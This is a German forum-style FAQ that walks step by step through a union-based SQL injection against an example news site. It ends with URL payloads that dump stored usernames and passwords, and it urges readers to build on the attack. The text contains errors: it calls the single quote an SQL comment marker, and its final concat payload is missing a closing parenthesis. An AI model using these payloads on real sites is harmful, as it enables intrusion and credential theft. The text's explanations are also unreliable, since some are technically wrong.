SQL Injection FAQs

  • SQL-Injection FAQ
    SQL-Injection Lücken sind eine sehr gefährliche Lücke in Forensoftware.
    Durch einschleusung von SQL Befehlen, kann der Angreifer die Datenbank, sofern diese in MySQL programmiert ist, manipulieren und sensible Daten aus ihr lesen.
    Ein Angreifer kann per GetParameter oder Suchmaschine die SQL Befehle einschleusen. Andere Methoden sind mir nicht bekannt, wer noch andere Möglichkeiten kennt, bitte hinzufügen.
    Als einfaches Beispiel mache ich ein simples Walkthrough eines AngriffSzenarios.


    SQL Injection Walkthrough
    Wir haben ne WebSite: http://www.sqlivic.com/
    Zuerst sollten wir ein wenig auf der Seite rumstöbern und dabei auf den URL achten.
    Jetzt sind wir an einer Stelle angekommen, wo die URL so aussieht:
    http://www.sqlivic.com/article.php?id=10
    Jetzt setzen wir hinter der 10 im GetParameter ein einfaches Hochkomma.
    Ein einfaches Hochkomma leitet in SQL einen Kommentar ein, da dieser aber nicht wieder geschlossen wird, sollte es zu einer Fehlmeldung kommen.


    Wenn die Seite verwundbar ist, steht dann da zB Error in MySQL Database. On Line 69. Oder so ähnlich.
    Dann müssen wir als erstes die Anzahl der columns herausfinden...
    Das machen wir so:
    http://www.sqlivic.com/article.php?id=10' order by 10/*
    Es werden noch Fehler angezeigt, heisst es sind weniger...
    Immer um eins verringern, jetzt sind wir bei:
    http://www.sqlivic.com/article.php?id=10' order by 7/* Es werden keine Fehler angezeigt, aber wenn wir wieder um eins erhöhen, erscheinen wieder Fehler. Also ist 7 die letzte Zahl, bevor wieder Fehler kommen.


    Jetzt kennen wir die Column Anzahl, also können wir nun Union nutzen, um weiterzukommen.
    http://www.sqlivic.com/article.php?id=10' union select 1,2,3,4,5,6,7/*
    Es wird jetzt die Zahl 4 ausgegeben... Jetzt können wir, wenn wir 4 durch @@version ersetzen, uns die SQLVersion ausgeben lassen.
    http://www.sqlivic.com/article.php?id=10' union select 1,2,3,@@version,5,6,7/*
    Die Version ist 4.2 also können wir die Information Schema nicht nutzen...


    Jetzt müssen wir die Namen der Tabellen raten...
    http://www.sqlivic.com/article.php?id=10' union select 1,2,3,4,5,6,7 from admin/*
    Es wird ein Fehler ausgegeben, heisst wir müssen weiter raten...
    http://www.sqlivic.com/article.php?id=10' union select 1,2,3,4,5,6,7 from users/*
    Es wird kein fehler angezeigt, dass zeigt uns, dass de Tabellenname "users" ist...


    Jetzt müssen wir die columnnames raten...
    Dazu ersetzen wir immer die Zahl, die uns grade ausgegeben wurde, also 4.
    http://www.sqlivic.com/article.php?id=10' union select 1,2,3,username,5,6,7 from users/*
    Es wird ein Fehler ausgegeben, heisst wir müssen weiterraten...
    http://www.sqlivic.com/article.php?id=10' union select 1,2,3,name,5,6,7 from users/*
    Das stimmt schonmal, jetzt brauchen wir noch das Passwort.
    http://www.sqlivic.com/article.php?id=10' union select 1,2,3,passwort,5,6,7 from users/*
    Das stimmt auch jetzt noch beides gleichzeitig ausgeben lassen.
    http://www.sqlivic.com/article.php?id=10' union select 1,2,3,concat(name,0x3a,passwort,5,6,7 from users/*
    Jetzt gibt uns die Page Usernamen und Passwörter aus, die in "users" gespeichert sind.


    Das ganze kann man noch weiter ausbauen, aber dazu lernt einfach SQL und dann könnt ihr das selber machen.
    Hier eine kleine Hilfe für die, die SQLI lernen wollen: